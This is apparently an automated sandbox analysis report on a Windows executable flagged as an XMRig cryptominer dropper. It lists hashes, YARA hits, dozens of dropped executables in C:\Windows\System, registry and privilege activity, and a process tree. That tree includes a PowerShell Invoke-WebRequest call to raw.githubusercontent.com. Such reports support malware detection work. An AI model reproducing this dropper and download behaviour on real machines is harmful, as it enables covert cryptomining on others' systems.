xmrig | 3e155deca1b6c8cd4f62d4f6ffe75098b54b104030106f4147744c8281de3141

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
16/05/2024, 04:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
Size

1.9MB
MD5

9b976c1da9157ecfd86eaa3dec1d8e10
SHA1

66e3b29d4769a0afd45ce0c2d6d5d730e888a242
SHA256

3e155deca1b6c8cd4f62d4f6ffe75098b54b104030106f4147744c8281de3141
SHA512

e6d94d037be4c760c170c911644fef2325aa9afb587db0bf011213ad8cb4134f5fd0fc0b2e1b6a8e05ad13d7b759c46ca2a670e64ce113e9f6080b23181447f4
SSDEEP

49152:T1G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrSax91MkibTIDiaed:T1ONtyBeSFkXV1etEKLlWUTOfeiRA2Rt

Score

10^/10

xmrig execution miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/3328-0-0x00007FF73C490000-0x00007FF73C87D000-memory.dmp	xmrig
behavioral2/files/0x0009000000023434-5.dat	xmrig
behavioral2/files/0x0007000000023440-9.dat	xmrig
behavioral2/files/0x0007000000023441-7.dat	xmrig
behavioral2/files/0x0007000000023443-32.dat	xmrig
behavioral2/files/0x0007000000023448-53.dat	xmrig
behavioral2/files/0x0007000000023452-98.dat	xmrig
behavioral2/files/0x0007000000023444-107.dat	xmrig
behavioral2/files/0x0007000000023461-196.dat	xmrig
behavioral2/memory/4800-235-0x00007FF791EE0000-0x00007FF7922CD000-memory.dmp	xmrig
behavioral2/memory/3528-226-0x00007FF7A7C80000-0x00007FF7A806D000-memory.dmp	xmrig
behavioral2/memory/4532-224-0x00007FF626C00000-0x00007FF626FED000-memory.dmp	xmrig
behavioral2/memory/1964-220-0x00007FF65D450000-0x00007FF65D83D000-memory.dmp	xmrig
behavioral2/memory/5004-214-0x00007FF6F9E40000-0x00007FF6FA22D000-memory.dmp	xmrig
behavioral2/memory/3312-210-0x00007FF6EAA30000-0x00007FF6EAE1D000-memory.dmp	xmrig
behavioral2/files/0x0007000000023465-209.dat	xmrig
behavioral2/files/0x0007000000023464-206.dat	xmrig
behavioral2/files/0x0007000000023463-203.dat	xmrig
behavioral2/files/0x000700000002345c-202.dat	xmrig
behavioral2/memory/4104-194-0x00007FF631DD0000-0x00007FF6321BD000-memory.dmp	xmrig
behavioral2/files/0x000700000002345a-193.dat	xmrig
behavioral2/memory/748-232-0x00007FF7675E0000-0x00007FF7679CD000-memory.dmp	xmrig
behavioral2/files/0x0007000000023458-191.dat	xmrig
behavioral2/memory/1488-188-0x00007FF74D0E0000-0x00007FF74D4CD000-memory.dmp	xmrig
behavioral2/files/0x0007000000023453-187.dat	xmrig
behavioral2/memory/3448-185-0x00007FF69DEC0000-0x00007FF69E2AD000-memory.dmp	xmrig
behavioral2/files/0x000700000002345f-183.dat	xmrig
behavioral2/memory/4340-181-0x00007FF7D66E0000-0x00007FF7D6ACD000-memory.dmp	xmrig
behavioral2/memory/2992-179-0x00007FF73FD60000-0x00007FF74014D000-memory.dmp	xmrig
behavioral2/files/0x000700000002345e-173.dat	xmrig
behavioral2/files/0x000700000002344a-172.dat	xmrig
behavioral2/files/0x0007000000023455-166.dat	xmrig
behavioral2/memory/4668-159-0x00007FF6A1290000-0x00007FF6A167D000-memory.dmp	xmrig
behavioral2/files/0x000700000002345d-161.dat	xmrig
behavioral2/files/0x000700000002345b-158.dat	xmrig
behavioral2/memory/3044-151-0x00007FF6A3390000-0x00007FF6A377D000-memory.dmp	xmrig
behavioral2/files/0x0007000000023462-201.dat	xmrig
behavioral2/files/0x0007000000023459-145.dat	xmrig
behavioral2/files/0x0007000000023457-142.dat	xmrig
behavioral2/memory/2364-139-0x00007FF6B1580000-0x00007FF6B196D000-memory.dmp	xmrig
behavioral2/files/0x0007000000023451-138.dat	xmrig
behavioral2/files/0x0007000000023456-136.dat	xmrig
behavioral2/files/0x000700000002344c-134.dat	xmrig
behavioral2/files/0x0007000000023450-176.dat	xmrig
behavioral2/memory/2884-130-0x00007FF7D2830000-0x00007FF7D2C1D000-memory.dmp	xmrig
behavioral2/memory/884-167-0x00007FF6AE810000-0x00007FF6AEBFD000-memory.dmp	xmrig
behavioral2/memory/4928-163-0x00007FF602F30000-0x00007FF60331D000-memory.dmp	xmrig
behavioral2/memory/1620-118-0x00007FF6E2DC0000-0x00007FF6E31AD000-memory.dmp	xmrig
behavioral2/files/0x0007000000023454-117.dat	xmrig
behavioral2/memory/1236-110-0x00007FF7A25F0000-0x00007FF7A29DD000-memory.dmp	xmrig
behavioral2/memory/5072-108-0x00007FF7014C0000-0x00007FF7018AD000-memory.dmp	xmrig
behavioral2/memory/1560-105-0x00007FF6C8120000-0x00007FF6C850D000-memory.dmp	xmrig
behavioral2/files/0x0007000000023442-104.dat	xmrig
behavioral2/files/0x000700000002344f-135.dat	xmrig
behavioral2/files/0x000700000002344b-129.dat	xmrig
behavioral2/memory/1832-122-0x00007FF619F40000-0x00007FF61A32D000-memory.dmp	xmrig
behavioral2/memory/924-88-0x00007FF6CF290000-0x00007FF6CF67D000-memory.dmp	xmrig
behavioral2/files/0x000700000002344e-87.dat	xmrig
behavioral2/files/0x0007000000023449-82.dat	xmrig
behavioral2/files/0x000700000002344d-73.dat	xmrig
behavioral2/memory/1556-68-0x00007FF6F3F20000-0x00007FF6F430D000-memory.dmp	xmrig
behavioral2/files/0x0007000000023447-67.dat	xmrig
behavioral2/memory/3812-56-0x00007FF72D530000-0x00007FF72D91D000-memory.dmp	xmrig
behavioral2/memory/1464-80-0x00007FF7687D0000-0x00007FF768BBD000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	5020	powershell.exe
7	5020	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5020	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3296	HnuvoHb.exe
1484	GPOzkmW.exe
1464	UqTwrtB.exe
1560	OWstPnY.exe
1236	lGBVlsl.exe
3812	ezLWCTW.exe
3308	HzjpMJi.exe
1556	HlkJjIe.exe
5072	yIElgyo.exe
3044	gsrxrHC.exe
1832	znhSKtY.exe
5004	GYSUjvC.exe
2884	CEFhjVJ.exe
4340	EjdfsAV.exe
3944	TzHVztm.exe
924	SdNVhsU.exe
2992	VLYEXlS.exe
2364	MVMNmIE.exe
3448	MSEjfAD.exe
1620	lhtQbPt.exe
884	YNaAClF.exe
4532	OFnZTtr.exe
3528	AQduHXM.exe
4940	tIxcIIG.exe
1488	uObfAst.exe
4800	JhWWZdf.exe
3720	VrPcGpb.exe
4104	VaNlKti.exe
4668	MOrkdfP.exe
4928	VTJEEXe.exe
2080	VDAQxvS.exe
1692	KUQOvsx.exe
3792	zbBlQNk.exe
764	JliOPoH.exe
3344	ZvZvJOz.exe
1472	SOCdRbK.exe
2628	OhdQGst.exe
3312	LNKTcux.exe
1348	yPjCOhK.exe
1964	GgWosFg.exe
748	GMKWxke.exe
4032	qoUNCPg.exe
4184	fkuAFcU.exe
464	PbAHovd.exe
2432	cBPAlyI.exe
4040	UZceexP.exe
5080	NHXxORc.exe
3136	CVmAZtv.exe
1972	SioqUJy.exe
5088	vrADFsM.exe
4632	tobORux.exe
1540	jHHARbv.exe
4992	KIYCLWx.exe
4944	AfbQYPd.exe
2256	PSkOzyx.exe
4148	pWOLKlC.exe
2344	alGNszx.exe
1800	BkwoTae.exe
1368	ArOxHRu.exe
2952	CNCkCIk.exe
1732	SbGIPxN.exe
1704	OtydzCp.exe
4980	sBYLJAs.exe
2708	pWDzztm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ofDteEg.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\pLVzxTo.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\ovhhAFE.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\xRpbLpC.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\LcPmZzv.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\yxdHeRY.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\VZPhIbu.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\aCLQCuC.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\VoApZSe.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\ShMChdP.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\LfhwyJV.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\KzLMZqQ.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\nmALNXi.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\SXqiNvp.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\kzQHkkU.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\sArraeZ.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\lYDBCkF.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\paVRTaa.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\DWtcaPN.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\OLPKbCP.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\LcvCSLS.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\fbUYRmk.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\SPtYyxQ.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\yPThYwc.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\lWyAlrk.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\ycBkwvq.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\xkdJQab.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\NdJSsuf.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\ezgsrxt.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\BWRnqtq.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\EOTEzDV.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\JkivCWG.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\RQArXxT.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\rSMNdzw.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\sWJjaKK.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\NQzcOtk.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\rpUMVqn.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\sKXtVsA.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\IDZLJpD.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\GbsgUHr.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\KFyUfzP.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\vGtaAtK.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\vPbGQyU.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\Urzelmk.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\GZidSEb.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\KVtptep.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\cxXzlIm.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\Fbweiux.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\LFvkaNG.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\WiYGrsI.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\lzwybYz.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\NHXxORc.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\AxsftHi.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\OskWsyd.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\njXbggW.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\HIXGWSB.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\vokPNVB.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\DsgCMNl.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\vyTQmJS.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\SjdGUkI.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\sBrXeeh.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\ydfcVtQ.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\XSUZOlb.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
File created	C:\Windows\System\xEXRusM.exe	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeLockMemoryPrivilege	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 5020	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	83
PID 3328 wrote to memory of 5020	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	83
PID 3328 wrote to memory of 3296	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	84
PID 3328 wrote to memory of 3296	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	84
PID 3328 wrote to memory of 1484	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	85
PID 3328 wrote to memory of 1484	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	85
PID 3328 wrote to memory of 1464	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	86
PID 3328 wrote to memory of 1464	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	86
PID 3328 wrote to memory of 1560	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	87
PID 3328 wrote to memory of 1560	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	87
PID 3328 wrote to memory of 1236	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	88
PID 3328 wrote to memory of 1236	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	88
PID 3328 wrote to memory of 5072	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	89
PID 3328 wrote to memory of 5072	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	89
PID 3328 wrote to memory of 3812	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	90
PID 3328 wrote to memory of 3812	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	90
PID 3328 wrote to memory of 3308	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	91
PID 3328 wrote to memory of 3308	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	91
PID 3328 wrote to memory of 1556	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	92
PID 3328 wrote to memory of 1556	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	92
PID 3328 wrote to memory of 3044	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	93
PID 3328 wrote to memory of 3044	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	93
PID 3328 wrote to memory of 1832	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	94
PID 3328 wrote to memory of 1832	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	94
PID 3328 wrote to memory of 5004	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	95
PID 3328 wrote to memory of 5004	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	95
PID 3328 wrote to memory of 2884	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	96
PID 3328 wrote to memory of 2884	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	96
PID 3328 wrote to memory of 4340	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	97
PID 3328 wrote to memory of 4340	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	97
PID 3328 wrote to memory of 3944	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	98
PID 3328 wrote to memory of 3944	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	98
PID 3328 wrote to memory of 924	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	99
PID 3328 wrote to memory of 924	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	99
PID 3328 wrote to memory of 4532	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	100
PID 3328 wrote to memory of 4532	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	100
PID 3328 wrote to memory of 2992	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	101
PID 3328 wrote to memory of 2992	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	101
PID 3328 wrote to memory of 2364	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	102
PID 3328 wrote to memory of 2364	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	102
PID 3328 wrote to memory of 3448	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	103
PID 3328 wrote to memory of 3448	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	103
PID 3328 wrote to memory of 1488	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	104
PID 3328 wrote to memory of 1488	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	104
PID 3328 wrote to memory of 1620	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	105
PID 3328 wrote to memory of 1620	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	105
PID 3328 wrote to memory of 884	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	106
PID 3328 wrote to memory of 884	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	106
PID 3328 wrote to memory of 3528	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	107
PID 3328 wrote to memory of 3528	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	107
PID 3328 wrote to memory of 4940	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	108
PID 3328 wrote to memory of 4940	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	108
PID 3328 wrote to memory of 4800	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	109
PID 3328 wrote to memory of 4800	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	109
PID 3328 wrote to memory of 3720	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	110
PID 3328 wrote to memory of 3720	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	110
PID 3328 wrote to memory of 4104	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	111
PID 3328 wrote to memory of 4104	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	111
PID 3328 wrote to memory of 4668	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	112
PID 3328 wrote to memory of 4668	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	112
PID 3328 wrote to memory of 3344	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	113
PID 3328 wrote to memory of 3344	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	113
PID 3328 wrote to memory of 4928	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	114
PID 3328 wrote to memory of 4928	3328	9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe	114

C:\Users\Admin\AppData\Local\Temp\9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\9b976c1da9157ecfd86eaa3dec1d8e10_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5020" "2900" "2848" "2904" "0" "0" "2908" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:10888
- C:\Windows\System\HnuvoHb.exe
  C:\Windows\System\HnuvoHb.exe
  2⤵
  - Executes dropped EXE
  PID:3296
- C:\Windows\System\GPOzkmW.exe
  C:\Windows\System\GPOzkmW.exe
  2⤵
  - Executes dropped EXE
  PID:1484
- C:\Windows\System\UqTwrtB.exe
  C:\Windows\System\UqTwrtB.exe
  2⤵
  - Executes dropped EXE
  PID:1464
- C:\Windows\System\OWstPnY.exe
  C:\Windows\System\OWstPnY.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\lGBVlsl.exe
  C:\Windows\System\lGBVlsl.exe
  2⤵
  - Executes dropped EXE
  PID:1236
- C:\Windows\System\yIElgyo.exe
  C:\Windows\System\yIElgyo.exe
  2⤵
  - Executes dropped EXE
  PID:5072
- C:\Windows\System\ezLWCTW.exe
  C:\Windows\System\ezLWCTW.exe
  2⤵
  - Executes dropped EXE
  PID:3812
- C:\Windows\System\HzjpMJi.exe
  C:\Windows\System\HzjpMJi.exe
  2⤵
  - Executes dropped EXE
  PID:3308
- C:\Windows\System\HlkJjIe.exe
  C:\Windows\System\HlkJjIe.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\gsrxrHC.exe
  C:\Windows\System\gsrxrHC.exe
  2⤵
  - Executes dropped EXE
  PID:3044
- C:\Windows\System\znhSKtY.exe
  C:\Windows\System\znhSKtY.exe
  2⤵
  - Executes dropped EXE
  PID:1832
- C:\Windows\System\GYSUjvC.exe
  C:\Windows\System\GYSUjvC.exe
  2⤵
  - Executes dropped EXE
  PID:5004
- C:\Windows\System\CEFhjVJ.exe
  C:\Windows\System\CEFhjVJ.exe
  2⤵
  - Executes dropped EXE
  PID:2884
- C:\Windows\System\EjdfsAV.exe
  C:\Windows\System\EjdfsAV.exe
  2⤵
  - Executes dropped EXE
  PID:4340
- C:\Windows\System\TzHVztm.exe
  C:\Windows\System\TzHVztm.exe
  2⤵
  - Executes dropped EXE
  PID:3944
- C:\Windows\System\SdNVhsU.exe
  C:\Windows\System\SdNVhsU.exe
  2⤵
  - Executes dropped EXE
  PID:924
- C:\Windows\System\OFnZTtr.exe
  C:\Windows\System\OFnZTtr.exe
  2⤵
  - Executes dropped EXE
  PID:4532
- C:\Windows\System\VLYEXlS.exe
  C:\Windows\System\VLYEXlS.exe
  2⤵
  - Executes dropped EXE
  PID:2992
- C:\Windows\System\MVMNmIE.exe
  C:\Windows\System\MVMNmIE.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Windows\System\MSEjfAD.exe
  C:\Windows\System\MSEjfAD.exe
  2⤵
  - Executes dropped EXE
  PID:3448
- C:\Windows\System\uObfAst.exe
  C:\Windows\System\uObfAst.exe
  2⤵
  - Executes dropped EXE
  PID:1488
- C:\Windows\System\lhtQbPt.exe
  C:\Windows\System\lhtQbPt.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\YNaAClF.exe
  C:\Windows\System\YNaAClF.exe
  2⤵
  - Executes dropped EXE
  PID:884
- C:\Windows\System\AQduHXM.exe
  C:\Windows\System\AQduHXM.exe
  2⤵
  - Executes dropped EXE
  PID:3528
- C:\Windows\System\tIxcIIG.exe
  C:\Windows\System\tIxcIIG.exe
  2⤵
  - Executes dropped EXE
  PID:4940
- C:\Windows\System\JhWWZdf.exe
  C:\Windows\System\JhWWZdf.exe
  2⤵
  - Executes dropped EXE
  PID:4800
- C:\Windows\System\VrPcGpb.exe
  C:\Windows\System\VrPcGpb.exe
  2⤵
  - Executes dropped EXE
  PID:3720
- C:\Windows\System\VaNlKti.exe
  C:\Windows\System\VaNlKti.exe
  2⤵
  - Executes dropped EXE
  PID:4104
- C:\Windows\System\MOrkdfP.exe
  C:\Windows\System\MOrkdfP.exe
  2⤵
  - Executes dropped EXE
  PID:4668
- C:\Windows\System\ZvZvJOz.exe
  C:\Windows\System\ZvZvJOz.exe
